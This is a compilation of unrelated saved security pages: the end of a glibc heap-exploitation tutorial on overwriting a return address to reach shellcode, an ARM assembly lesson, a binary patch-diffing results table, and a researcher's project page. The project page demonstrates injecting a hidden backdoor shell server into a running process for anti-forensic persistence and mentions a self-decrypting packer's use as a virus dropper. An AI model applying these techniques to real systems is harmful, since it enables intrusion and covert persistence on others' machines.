
\- If &av->bins\[0\] + 16 – 12 is stored at &av->bins\[0\] + 12, then

  

\- victim = &av->bins\[0\] + 4  
  
If the return address location – 8 is stored at &av->bins\[0\] + 16, then

  

\- bck = \(&av->bins\[0\] + 4\)->bk = av->bins\[0\] + 16 = &EIP - 8  
  
A JMP instruction must be set at av->bins\[0\] in order to jump at
&av->bins\[0\] + 20. When the execution reaches line \#3965
\(unsorted\_chunks\(av\)->bk = bck\), in the end the following will happen:

  

\- bck->fd = EIP = &av->bins\[0\]  
  
A NOP slide + shellcode is then required to be stored at &av->bins\[0\] + 20.
When the RET instruction will be executed, then the flow will be redirected to
the JMP instruction aforementioned and the heap overflow will be fully
exploited.

  

So far, this is the first one of the techniques described by Phantasmal
Phantasmagoria. It actually didn’t last that much after the publication of the
article, as, two days after, this patch made the free function fail in case
the size of the chunk is smaller than MINSIZE \(set to 16\). As the base of
this kind of exploit is the ability to free chunks that are 8 bytes long, then
this whole thing is not working anymore since glibc 2.4.

Nothing new has been introduced in this article, as it’s just a reporting of
what others already did. Anyway, it becomes evident how difficult heap
overflows can be. And it’s not over yet, as the House of Mind is coming into
town…

  

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook

  

Loading...

  

Related

  

x86 Exploitation 101: "House of Lore" \- People and traditions

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

x86 Exploitation 101: "House of Mind" \- Undead and loving it...

In "Exploitation"

  

<img src='img/Temp2_10770.png' width='640' height='55' />

# Vikram and Neha: Android ARM Assembly: Arithmetic and Logical Operations
\(Part 6\)

**Created:**| _9/18/2011 7:52:30 AM_  
---|---  
**Updated:**| _9/18/2011 7:52:30 AM_  
**Author:**| __  
**Tags:**| _asm android arm_  
  

### Android ARM Assembly: Arithmetic and Logical Operations \(Part 6\)

This is part six in a series on learning ARM assembly on Android. This part
covers arithmetic and logic expressions.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
=> Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
We covered a lot of data moving in the previous articles. Let's see what
processing we can do.  
  
Arithmetic  
The ARM processors are packed with the usual arithmetic operators. If you have
experience with some other processor, you might find the possible operations
somewhat limited. This follows the Reduced Instruction Set principles: there
are a few basic primitives and you are required to produce everything using
these. So you lack complex instructions, but make up for it with faster code.
More importantly, you make up for it with code that runs quiet, cool, and uses
minimal battery life.  
  
All arithmetic instructions look identical. Remember the MOV instructions?  

  1. An immediate value. Ex. 
[code]    mov   r0, #3

[/code]

  2. A register. Ex: 
[code]    mov   r0, r1

[/code]

  3. A register with an offset. Ex: 
[code]    mov   r0, r1, #4

[/code]

  4. A register with a shift. Ex: 
[code]    mov   r0, r1, lsr #3

[/code]

  5. A register with a register specifying the shift. Ex: 
[code]    mov   r0, r1, lsr r2

[/code]

The first part is called the destination register, since that's where the
value is placed. The second part is called the shifter\_operand, as a short-
hand for one of many possibilities. In other words, MOV instructions have this
structure:  
MOV Rd, shifter\_operand. This causes: Rd = shifter\_operand  
  
Arithmetic instructions follow the same structure. Instead of having one
register, they have two registers. This is the general structure of arithmetic
instructions:  
OPERATION Rd, Rn, shifter\_operand  
  
OPERATION can be one of:  
ADD | \(Addition\)| Rd = Rn \+ shifter\_operand  
---|---|---  
SUB: | \(Subtraction\) | Rd = Rn \- shifter\_operand  
RSB: | \(Reverse Subtraction\) | Rd = shifter\_operand \- Rn  
ADC: | \(Add with Carry\) | Rd = Rn \+ shifter\_operand \+ Carry   
SBC: | \(Subtract with Carry\) | Rd = Rn \- shifter\_operand \- Carry   
RSC: | \(Reverse Subtract with Carry\) | Rd = shifter\_operand \- Rn \- Carry   
AND: | \(Logical And\) | Rd = Rn & shifter\_operand  
BIC: | \(Logical Bit Clear\)| Rd = Rn & \! shifter\_operand  
ORR: | \(Logical Or\) | Rd = Rn | shifter\_operand  
EOR: | \(Logical Exclusive Or\)| Rd = Rn ^ shifter\_operand  
  
The instructions are regular and follow the same pattern. The only unexplained
thing is the Carry.  
  
Carry is a bit in the status register CPSR that is set when an addition
overflows past 32 bits. This could happen when adding 1 to 0xff ff ff ff. The
resulting number is 1 << 32, which cannot be represented in 32 bits. It needs
33 bits. In such a case, the carry bit will be set. Addition with carry allows
you to automatically add the carry bit.  
  
The carry bit is also set when subtraction produces underflow: If you subtract
INT\_MAX from 0, the resulting number cannot be expressed in 2's complement
because it needs to borrow a bit. In such a case, the carry is set again.  
  
Multiply  
Multiplications only take a register argument. They don't take a
shifter\_operand.  
  
MLA Rd, Rm, Rs, Rn | Multiply with Accummulate | Rd = Rm \* Rs \+ Rn   
---|---|---  
MUL Rd, Rm, Rs | Multiply | Rd = Rm \* Rs  
SMLAL Rd32, Rd64, Rm, Rs | Signed Multiply with Accummulate Long| Rd64,Rd32 += Rm \* Rs  
SMULL Rd32, Rd64, Rm, Rs | Signed Multiply Long | Rd64,Rd32 = Rm \* Rs  
UMLAL Rd32, Rd64, Rm, Rs | Unsigned Multiply with Accummulate Long | Rd64,Rd32 += Rm \* Rs  
UMULL Rd32, Rd64, Rm, Rs | Unsigned Multiply Long | Rd64,Rd32 = Rm \* Rs  
  
MLA and MUL are easy to understand. The difference between Signed and Unsigned
instructions is that signed instructions use bit 31 as a sign bit, and 2's
complement arithmetic. If you know you have unsigned numbers, using the
unsigned variants allows you to express higher numbers.  
  
The Long version of the instructions stores the lower 32 bits of the result in
Rd32 and the higher bits in Rd64. MLA and MUL store only the lower 32 bits of
the result, so if you multiply two very large numbers, you will get incorrect
results.  
  
A multiply is slower than using the barrel shifter. If you need to multiply by
4, you are much better off supplying "lsl \#2".  
  
Links  
Arithmetic and logical instructions are very easy in ARM processors. I have
covered the instructions available in v5 of ARM processors. These instructions
are guaranteed to be available nearly everywhere. v6 adds a few instructions,
but the regular structure means that once you understand the v5 set, you can
immediately learn the v6 additions.  
  
You can try the following to test your knowledge till now:  

  1. Write a function to input an integer y and return y \* \(y-1\). Check by calling it inside main\(\) and using the program from Part 5 to print the value.
  2. Test out the behaviour of BIC using a program and different inputs. Why is it called Bit Clear?

As before, the ARM Reference Manual has more information on all operations.  

# AutoDiff :: http://autodiff.piotrbania.com ::

**Created:**| _1/1/2011 10:52:22 AM_  
---|---  
**Updated:**| _1/17/2011 9:38:30 PM_  
**Author:**| __  
**Tags:**| _bookmark bin-diffing_  
  

**AutoDiff Online \(beta\)**  
---  
FAQ | HOME  
**Date** :: 12/2010  
---  
Name | Version | File size | Imagebase | Instructions\[\#\] | Basicblocks\[\#\] | TDisasm\[s\] | TBasicblocks\[s\]  
ndproxy.sys | 5.1.2600.6048 \(xpsp\_sp3\_gdr.101102-1900\) | 0.04096Mb | 0x10000 | 10048 | 1525 | 0.010067 | 0.009573  
ndproxy.sys | 5.1.2600.5512 \(xpsp.080413-0852\) | 0.040576Mb | 0x10000 | 9926 | 1496 | 0.012832 | 0.008745  
| **Diff details** | Matched Basicblocks: 1034 | Multiple Matches: 367 | Unmatched/Hardmatched: 88/19 | TDiff: 0.005304 seconds elapsed  
---|---|---|---|---  
win32k.sys | 5.1.2600.6046 \(xpsp\_sp3\_qfe.101026-1629\) | 1.862528Mb | 0xbf800000 | 536763 | 107478 | 0.60975 | 1.618293  
win32k.sys | 5.1.2600.6033 \(xpsp\_sp3\_qfe.100831-1640\) | 1.862144Mb | 0xbf800000 | 536601 | 107435 | 0.611772 | 1.622593  
| **Diff details** | Matched Basicblocks: 64061 | Multiple Matches: 41096 | Unmatched/Hardmatched: 90/21 | TDiff: 1.44146 seconds elapsed  
---|---|---|---|---  
iedkcs32.dll | 18.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.387584Mb | 0x434b0000 | 67022 | 11562 | 0.075349 | 0.091136  
iedkcs32.dll | 18.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.387584Mb | 0x434b0000 | 67022 | 11562 | 0.081447 | 0.086358  
| **Diff details** | Matched Basicblocks: 7410 | Multiple Matches: 3973 | Unmatched/Hardmatched: 0/0 | TDiff: 0.035169 seconds elapsed  
---|---|---|---|---  
ieframe.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 11.082752Mb | 0x40580000 | 1013166 | 185684 | 1.366889 | 5.619827  
ieframe.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 11.08224Mb | 0x40580000 | 1013072 | 185666 | 1.185161 | 5.529809  
| **Diff details** | Matched Basicblocks: 104952 | Multiple Matches: 77221 | Unmatched/Hardmatched: 28/12 | TDiff: 7.72578 seconds elapsed  
---|---|---|---|---  
iepeers.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.18432Mb | 0x42a20000 | 31195 | 5827 | 0.033174 | 0.037151  
iepeers.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.18432Mb | 0x42a20000 | 31195 | 5827 | 0.036072 | 0.050515  
| **Diff details** | Matched Basicblocks: 3922 | Multiple Matches: 1841 | Unmatched/Hardmatched: 0/0 | TDiff: 0.020259 seconds elapsed  
---|---|---|---|---  
iertutil.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 1.992192Mb | 0x40390000 | 68027 | 13208 | 0.087501 | 0.12191  
iertutil.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 1.987072Mb | 0x40390000 | 67906 | 13184 | 0.093843 | 0.114937  
| **Diff details** | Matched Basicblocks: 8271 | Multiple Matches: 4575 | Unmatched/Hardmatched: 33/5 | TDiff: 0.059705 seconds elapsed  
---|---|---|---|---  
isign32.dll | 6.00.2900.6052 \(xpsp\_sp3\_gdr.101118-1624\) | 0.086016Mb | 0x663b0000 | 10927 | 1814 | 0.012649 | 0.014739  
isign32.dll | 6.00.2900.5512 \(xpsp.080413-2105\) | 0.086016Mb | 0x663b0000 | 10845 | 1798 | 0.011672 | 0.011275  
| **Diff details** | Matched Basicblocks: 1453 | Multiple Matches: 318 | Unmatched/Hardmatched: 24/2 | TDiff: 0.003375 seconds elapsed  
---|---|---|---|---  
jsproxy.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.0256Mb | 0x43590000 | 5207 | 1163 | 0.005278 | 0.006137  
jsproxy.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.0256Mb | 0x43590000 | 5207 | 1163 | 0.005331 | 0.006282  
| **Diff details** | Matched Basicblocks: 877 | Multiple Matches: 259 | Unmatched/Hardmatched: 0/0 | TDiff: 0.002954 seconds elapsed  
---|---|---|---|---  
licmgr10.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.04352Mb | 0x451e0000 | 6596 | 1292 | 0.007034 | 0.007089  
licmgr10.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.04352Mb | 0x451e0000 | 6596 | 1292 | 0.00696 | 0.007378  
| **Diff details** | Matched Basicblocks: 1001 | Multiple Matches: 274 | Unmatched/Hardmatched: 0/0 | TDiff: 0.002602 seconds elapsed  
---|---|---|---|---  
msfeeds.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.602112Mb | 0x45250000 | 109123 | 19962 | 0.122101 | 0.206547  
msfeeds.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.602112Mb | 0x45250000 | 109123 | 19962 | 0.183693 | 0.190271  
| **Diff details** | Matched Basicblocks: 12769 | Multiple Matches: 6923 | Unmatched/Hardmatched: 0/1 | TDiff: 0.074227 seconds elapsed  
---|---|---|---|---  
msfeedsbs.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.055296Mb | 0x43830000 | 10408 | 1860 | 0.011368 | 0.010531  
msfeedsbs.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.055296Mb | 0x43830000 | 10408 | 1860 | 0.013292 | 0.01376  
| **Diff details** | Matched Basicblocks: 1423 | Multiple Matches: 400 | Unmatched/Hardmatched: 0/0 | TDiff: 0.002919 seconds elapsed  
---|---|---|---|---  
mshtml.dll | 8.00.6001.23091 \(longhorn\_ie8\_ldr.101101-1800\) | 5.960704Mb | 0x3f330000 | 1559761 | 308653 | 2.246821 | 10.828233  
mshtml.dll | 8.00.6001.23067 \(longhorn\_ie8\_ldr.100907-1730\) | 5.958656Mb | 0x3f330000 | 1559240 | 308515 | 3.135987 | 9.509998  
| **Diff details** | Matched Basicblocks: 168722 | Multiple Matches: 130195 | Unmatched/Hardmatched: 193/38 | TDiff: 17.076683 seconds elapsed  
---|---|---|---|---  
mshtmled.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.06656Mb | 0x435a0000 | 13221 | 2804 | 0.016498 | 0.016547  
mshtmled.dll | 8.00.6001.23064 \(longhorn\_ie8\_ldr.100901-1800\) | 0.06656Mb | 0x435a0000 | 13221 | 2804 | 0.014329 | 0.016325  
| **Diff details** | Matched Basicblocks: 1980 | Multiple Matches: 783 | Unmatched/Hardmatched: 0/0 | TDiff: 0.005885 seconds elapsed  
---|---|---|---|---  
mstime.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.61184Mb | 0x43400000 | 134468 | 26930 | 0.156884 | 0.279996  
mstime.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.61184Mb | 0x43400000 | 134442 | 26927 | 0.173875 | 0.259098  
| **Diff details** | Matched Basicblocks: 14413 | Multiple Matches: 12177 | Unmatched/Hardmatched: 25/15 | TDiff: 0.358333 seconds elapsed  
---|---|---|---|---  
occache.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.206848Mb | 0x3fbf0000 | 18690 | 3423 | 0.019858 | 0.021064  
occache.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.206848Mb | 0x3fbf0000 | 18690 | 3423 | 0.019703 | 0.020842  
| **Diff details** | Matched Basicblocks: 2591 | Multiple Matches: 794 | Unmatched/Hardmatched: 0/0 | TDiff: 0.008958 seconds elapsed  
---|---|---|---|---  
urlmon.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 1.211904Mb | 0x45330000 | 220873 | 43375 | 0.292644 | 0.506935  
urlmon.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 1.211904Mb | 0x45330000 | 220873 | 43375 | 0.441814 | 0.476415  
| **Diff details** | Matched Basicblocks: 27546 | Multiple Matches: 14864 | Unmatched/Hardmatched: 0/2 | TDiff: 0.184437 seconds elapsed  
---|---|---|---|---  
wininet.dll | 8.00.6001.23084 \(longhorn\_ie8\_ldr.101015-1800\) | 0.919552Mb | 0x3fcf0000 | 191928 | 40977 | 0.220503 | 0.62307  
wininet.dll | 8.00.6001.23060 \(longhorn\_ie8\_ldr.100824-1900\) | 0.919552Mb | 0x3fcf0000 | 191917 | 40975 | 0.272066 | 0.42932  
| **Diff details** | Matched Basicblocks: 24669 | Multiple Matches: 15117 | Unmatched/Hardmatched: 4/1 | TDiff: 0.19439 seconds elapsed  
---|---|---|---|---  
www.piotrbania.com  
2010 - 2011 - All rights reserved ®  
Copyrights � - Piotr Bania

# Bitlackeys Research

**Created:**| _10/14/2014 12:52:21 PM_  
---|---  
**Updated:**| _10/14/2014 12:52:21 PM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

# Bitlackeys <img src='img/Temp2_1069.png' width='180' height='130'
alt='stypes' /> Research

_Releasing research and code from 2007-2014 archives_  
_Ryan O'Neill A.K.A ElfMaster_

##  **The Now**

After years of software development, reverse engineering and coding, it dawned
on me  
that I have not been very forth coming with alot of the code, software and
papers that  
that I have worked on during my personal research in computer security. I
have, put together  
an official bitlackeys.org site to properly give back some of the projects I
have worked on  
starting in 2007. Many people have played a part in my growth through the
exciting world of  
the computer hacker subculture, and the security scene as a whole. I am very
grateful to all of you  
The \#bitlackeys guys on efnet have been great, RuxCon, and Phrack staff as
well.  
A growing number of items will appear under the research list on this site
over the next month  
A collection of software, tools, research papers, etc. Enjoy... **elfmaster
\[at\] zoho \[dot\] com**

## **Research & Code**

**Bitlackeys Technical Readiness-- RATING SCALE**

  * TR1 - Minimum prototype functionality, not stable 
  * TR2 - Basic prototype functionality, nearly stable 
  * TR3 - Desired prototype functionality, nearly stable 
  * TR4 - Completed all feature goals, mostly stable \(Some bugs\). 
  * TR5 - Completed all feature goals, is stable. 

<img src='img/Temp2_1068.png' width='220' height='220' alt='saruman' />

#### **2014 - Saruman - anti-forensics executable injector \[TR2\]**

##### -**Get Saruman source code**

**Description:**  
Saruman is a neat anti-forensics exec\(\) type software, very similar to
grugqs remote exec, but also  
very similar to shared library injection. Saruman allows you to run a program
inside of an existing  
process. It injects the complete program into a process address space, and
injects a thread with SYS\_clone  
so that the attackers program can run concurrently with the host process. This
allows for things such as  
persistent memory backdoors, and memory viruses that require complex parasite
code. For Virus writers  
saruman allows the attacker to author the parasite completely in C, and
compiled as a non-static executable  
The only Caveat is that it must be compiled with 'gcc -fpic -fpie', so as a
PIE executable. My original  
project for this 'elfdemon' works on injecting regular ET\_EXEC executables,
and manually relocates them  
which is unreliable for real case scenarios. elfdemon did not use thread
injection either; the parasite  
executable would take complete execution over from the host process and pass
control back when done.  
Saruman can inject a PIE executable using either \_\_libc\_dlopen\_mode\(\)
which is the more stable method  
or by doing completely manual runtime relocations which is more stealth
\(Because it doesn't show as  
obvious in /proc/pid/maps\). Unfortunately the more stealth method has a bug
or two which prevents it  
from working on more complicated parasite programs \(Ending in occasional
segfaults\). Currently Saruman  
does not allow you to pass command line args to your parasite program either;
this will require some  
additional coding of setting up the stack and auxillary vector for the new
thread in the remote process  
I will add this capability soon.  
  
**Example \(Injecting a remote shell backdoor into a process\)**

#####  Terminal 1

[code]

    ryan@elfmaster:~/git/saruman$ ./host
    I am the host
    I am the host
    I am the host
    	
[/code]

#####  Terminal 2

[code]

    ryan@elfmaster:~/git/saruman$ ./launcher `pidof host` ./server
    Parasite command: ./server 
    [+] Target pid: 5942
    [+] map_elf_binary(ptr, ./server)
    [+] Parasite entry point will be main(): 0xec5
    [+] Found text segment
    [+] Found data segment
    [+] Found dynamic segment
    [+] Found dynamic string table
    [+] Found dynamic symbol table
    [+] Found G.O.T
    [+] PLT count: 720 entries
    [DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: 7f5535015ca0
    [+] PT_ATTACHED -> 5942
    [+] calling bootstrap
    [+] base (or highest address) of stack: 0xa01b000
    [+] calling exec_loader
    [+] dlopen elf exec_loader
    [DEBUG]-> parasite path: ./server
    [DEBUG]-> address of __libc_dlopen_mode(): 0x7f5535015ca0
    DLOPEN_EXEC_LOADER-> ret val: 2407030
    [DEBUG] -> parasite basename: server
    [+] calling launch_parasite()
    [+] Entry point: 0x7f5534cdcec5
    [+] Thread injection succeeded, tid: 5948
    [+] Saruman successfully injected program: ./server
    [+] PT_DETACHED -> 5942
    
[/code]

#####  Terminal 1

[code]

    ryan@elfmaster:~/git/saruman$ ./host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    
[/code]

#####  Terminal 2

[code]

    ryan@elfmaster:~/git/saruman$ telnet localhost 31337
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    Password: password
    Access Granted, HEH
    
    
    Welcome To Gummo Backdoor Server!
    
    Type 'HELP' for a list of commands
    
    command:~#  
    
[/code]

#####  Terminal 1

[code]

    ryan@elfmaster:~/git/saruman$ ./host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    I am the host
    
[/code]

#####  Terminal 3

[code]

    ryan@elfmaster:~/git/saruman$ ps auxw | grep server | grep -v grep
    ryan@elfmaster:~/git/saruman$
    
[/code]

##### As shown above we execute a backdoor program called './server' inside
existing process './host'

#### **SARUMAN NOTES:**

You can run as many programs in a single process address space as you want. I
was able  
to get 3 additional executables all running in the same process \(I did not
test more  
It is worth noting that there appears to be a bug \(Which I will fix\) where
the executable  
program you are injecting, must have a filename that is a multiple of 4 bytes

#### **2014 - Dwarf/ELF .eh\_frame parsing for function identification \(IDA
Plugin coming soon\!\)**

##### -**Get eh\_frame parsing source code**

**Description:**  
I have recently been wanting to find a better way to map out and profile the
functions in a binary  
for Maya's Veil and other projects. I was aware of the .eh\_frame section \(Or
GNU\_EH\_FRAME segment\)  
in ELF executables, but didn't realize that even programs compiled without
exception handling  
contain FDE \(Frame description entries\) in this section. I wrote some code
to accomplish getting  
each function address and size within an executable. This code requires that
you install libdwarf  
and libelf before compiling it. What are the implications of this code? That
you do not need a symbol  
table to find the location and size of functions\!  
  
**Example**

[code]

    ryan@elfmaster:~/eh_frame$ readelf -s test | grep FUNC | grep GLOBAL
    1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    45: 0000000000400590     2 FUNC    GLOBAL DEFAULT   13 __libc_csu_fini
    46: 00000000004004ed     6 FUNC    GLOBAL DEFAULT   13 func1
    50: 0000000000400594     0 FUNC    GLOBAL DEFAULT   14 _fini
    51: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    56: 00000000004004f3     6 FUNC    GLOBAL DEFAULT   13 func2
    57: 0000000000400520   101 FUNC    GLOBAL DEFAULT   13 __libc_csu_init
    59: 0000000000400400     0 FUNC    GLOBAL DEFAULT   13 _start
    61: 00000000004004f9    26 FUNC    GLOBAL DEFAULT   13 main
    65: 00000000004003a8     0 FUNC    GLOBAL DEFAULT   11 _init
    
    ryan@elfmaster:~/eh_frame$ ./eh_frame test
    Function size: 48 Function Addr: 4003d0
    Function size: 42 Function Addr: 400400
    Function size: 6 Function Addr: 4004ed
    Function size: 6 Function Addr: 4004f3
    Function size: 26 Function Addr: 4004f9
    Function size: 101 Function Addr: 400520
    Function size: 2 Function Addr: 400590
    
[/code]

As you can see all of the actual functions that I wrote \(main, func1, func2\)
are all  
found when running my eh\_frame parsing code. \(I believe any function with
stack displacement will be found\)

#### **2014 - Davinci self-decrypting seals \(Self protecting data\) beta
release 2**

<img src='img/Temp2_1060.png' alt='davinci' />

##### -**Get davinci seal source code \(Protected by davinci\)**

##### **MD5:** 51a608f18f4d2ea1fc523cf568978077 davinci.tgz.dvz

##### **NOTE:** To get davinci download the link above, and run: chmod +x
davinci.tgz.dvz; ./davinci.tgz.dvz d4v1nc1 > davinci.tgz

**Description:**  
Davinci self-seal, is a relatively simple way to protect files. Davinci
generates an  
output file that is an executable which protects the data, and self-decrypts.  
The output executable is tamper and debug resistant using basic watermarking
and  
tracing techniques. Davinci was dreamed up and created in a 3 hour period and
is therefore  
only a POC. The idea though, _self protecting files_ can be extrapolated upon
and  
augmented with more features than Davinci currently has. Data attestation and
proper encryption  
will be added soon, this is only a prototype. **NOTE:** Currently davinci can
only handle  
data up to about 8MB. This limitation can be easily changed by modifying the
payload\_meta\_t attributes

##### **NOTE:** Latest version output executable isn't working with UPX so the
output exe's are huge, fixing this...

**Use cases:**

  * Protecting video game data files from reversing/modification 
  * On-the-fly at purchase time installers for software 
  * Virus dropper \(lol\) 

**Features:**

  * 64bit Linux support \(tested on ubuntu\) 
  * Creates self-decrypting data archives. 
  * Password protection is optional \(Recommended though\) 
  * Anti-debugging features \(Prevents ptrace\) 
  * Anti-tamper \(Very minimal\) 
  * Uses UPX to compress the davinci output executable \(If UPX is available\) 
  * Allows for low overhead to easily pass files back and forth 
  * The stub executable is compiled without any library linkings \(Self contained\) 
  * Uses basic code and data watermarking to enforce resistance against cracking 

**Example:**

[code]

    ryan@elfmaster:~/dev/davinci$ ./davinci msg.txt msg.drm p4ssw0rd -r
    payload_meta_t is 0x800110 bytes
    [+] The user who executes msg.drm must supply password: p4ssw0rd
    [+] Encoding payload data
    [+] Encoding payload struct
    [+] Building msg program
    [+] utils/stripx exists, so using it to strip section headers off of DRM archive
    [+] /usr/bin/upx exists, so using it to compress msg.drm
    Successfully created msg.drm
    ryan@elfmaster:~/dev/davinci$ ./msg.drm p4ssw0rd
    man this is a secret msg
    
      
    
    **Another example where we protect a tar archive**  
    
    ryan@elfmaster:~/dev/davinci$ ./davinci test.tgz test.tgz.drm p4ssw0rd -r
    payload_meta_t is 0x800110 bytes
    [+] The user who executes test.tgz.drm must supply password: p4ssw0rd
    [+] Encoding payload data
    [+] Encoding payload struct
    [+] Building msg program
    [+] utils/stripx exists, so using it to strip section headers off of Davinci ELF file.
    [+] /usr/bin/upx exists, so using it to compress test.tgz.drm
    Successfully created test.tgz.drm
    ryan@elfmaster:~/dev/davinci$ rm test.tgz
    ryan@elfmaster:~/dev/davinci$ ./test.tgz.drm > test.tgz
    This message requires that you supply a key to decrypt
    ryan@elfmaster:~/dev/davinci$ ./test.tgz.drm p4ssw0rd > test.tgz 
    ryan@elfmaster:~/dev/davinci$ tar zxvf test.tgz
    test/
    test/b
    test/a
    test/c
    	
[/code]

#### **2014 - Mayas Veil: Linux ELF binary protection and anti-exploitation**

<img src='img/Temp2_1064.png' alt='maya' />

**Description:**  
Maya's Veil is the new Linux software protection agent I have been designing.  
Maya uses binary instrumentation for intelligent control flow and runtime
security  
providing both encryption/obfuscation, and anti-exploitation mechanisms that
utilize  
control flow integrity combined with intelligent tracing, to prevent ROP
attacks.  
It is still in very early design phases, but I recently just completed some of
its primary  
components and wanted to share. Maya may become available to interested
parties in the near  
future. Please contact me to schedule a potential demo.

**Features:**

  * **Binary protection/hardening**
  * On-the-fly function decryption/re-encryption; each function has a seperate crypto key \(Complete \[TR3\]\) 
  * Autonomous debugging \[Intelligent self tracing instrumentation with ptrace\(\)\] \(Complete \[TR3\]\) 
  * Each ELF Section is encrypted with its own key, each key is encrypted with a master whitebox crypto algo \(Complete \[TR2\]\) 
  * A 3rd layer of encryption which can also handle loading of encrypted shared libraries \(Incomplete\) 
  * Robust anti-debugging with interdependent anti-tamper mechanisms: Strong anti-ptrace/anti-debugger \(Complete \[TR4\]\) 
  * Inherent anti-emulation qualities, with optional explicit anti-emulation \(Affects performance and stability some\) \(Complete \[TR2\]\) 
  * Utilizes intelligent autonomous execution technology as the **primary engine** that is _Maya's Veil_
  * **Anti Tamper technology**
  * Maya prevents memory injection \(Such as attacks done with ptrace\) completely. 
  * Self infection discovery. A maya protected binary can detect static modifications and virus anomalies in itself. 
  * Functions and code are layered with protection, and only decrypt for the period that they are in use. 
  * Maya's runtime engine is a self-debugger which completely eliminates userland debugging or ptrace interaction from attackers. 
  * Maya stores sensitive runtime information such as keys, within an encrypted heap. 
  * Maya protects sensitive function pointers \(Such as those in .ctors/.dtors/.got\) from being overwritten\) 
  * **Anti Exploitation technology**
  * \- Control flow integrity with intelligent execution tracing to eliminate exploitability of inherent bugs \(Complete \[TR2\]\) 
  * \- ROP Protection 
  * \- Encrypted shared libraries with function level decryption/encryption prevents gadgets 
  * \- Control flow integrity prevents invalid returns \(Complete \[TR2\]\) 
  * \- Protects against: ret2PLT, ret2libc, etc. \(Complete \[TR2\]\) 
  * \- HEAP Exploitation prevention: Enforces read-only Relocations \(I.E .got, .dtors\) \(Complete \[TR3\]\) 
  * **Optional high level obfuscation techniques**
  * Uniquely obfuscated section headers \(For diverting/confusing static analysis\) \(Complete \[TR4\]\) 
  * Uniquely obfuscated symbol table re-ordering for confusing static analysis \(Complete \[TR4\]\) 
  * **Resistant to code injection attacks on-disk and in memory**
  * \- Runtime code injection attacks that utilize ptrace will not work 
  * \- Highly resistent to binary modifcations \(See self-infection discovery\) 
  * **Other Features/Goals**
  * Works with dynamically linked executables \(Complete\) 
  * Handles multi-threaded applications \(Partial complete \[TR2\]\) 
  * Currently works on x86\_64, porting to ARM, and MIPS. 
  * It is purely userland and requires no kernel patches. 

**Example:**  
_Simple unprotected program_

[code]

    elfmaster@codebox:~/maya_drm$ ./test
    ElfMaster
    1 2 3
    0 * 2 = 0
    1 * 2 = 2
    2 * 2 = 4
    My name is: ElfMaster
    		
[/code]

_The same program protected with Maya \(Debug logging compiled in\)_

[code]

    elfmaster@codebox:~/maya_drm$ ./test.maya
    [MAYA] [in trace_thread()] bootstrap.rsp: 98ad818
    [MAYA] Decrypting function call (__libc_csu_init)(4007f0) origByte(48) with key: 1a4b596f455d384685b546b46551e5c
    [MAYA] Encrypting function call (__libc_csu_init)(4007f0) with key: 1a4b596f455d384685b546b46551e5c
    [MAYA] Decrypting function call (main)(400776) origByte(55) with key: 59595c57d5a19525045783f5a515642
    [MAYA] Decrypting function call (hello)(4006f7) origByte(55) with key: ec102daa12491f307191e245a125b23
    [MAYA CONTROL FLOW] Safe ret instruction ocurred to expected target: 0x4007a1
    ElfMaster
    [MAYA] Encrypting function call (hello)(4006f7) with key: ec102daa12491f307191e245a125b23
    [MAYA] Decrypting function call (test)(40069d) origByte(55) with key: 371e2e183542851115862ae5ae63718
    1 2 3
    0 * 2 = 0
    1 * 2 = 2
    2 * 2 = 4
    [MAYA] Encrypting function call (test)(40069d) with key: 371e2e183542851115862ae5ae63718
    [MAYA CONTROL FLOW] Safe ret instruction ocurred to expected target: 0x4007b5
    [MAYA] Decrypting function call (print_name)(400711) origByte(55) with key: b493a92591c422a1e3b353927744f2c
    My name is: ElfMaster
    [MAYA] Encrypting function call (print_name)(400711) with key: b493a92591c422a1e3b353927744f2c
    [MAYA CONTROL FLOW] Safe ret instruction ocurred to expected target: 0x4007b5
    
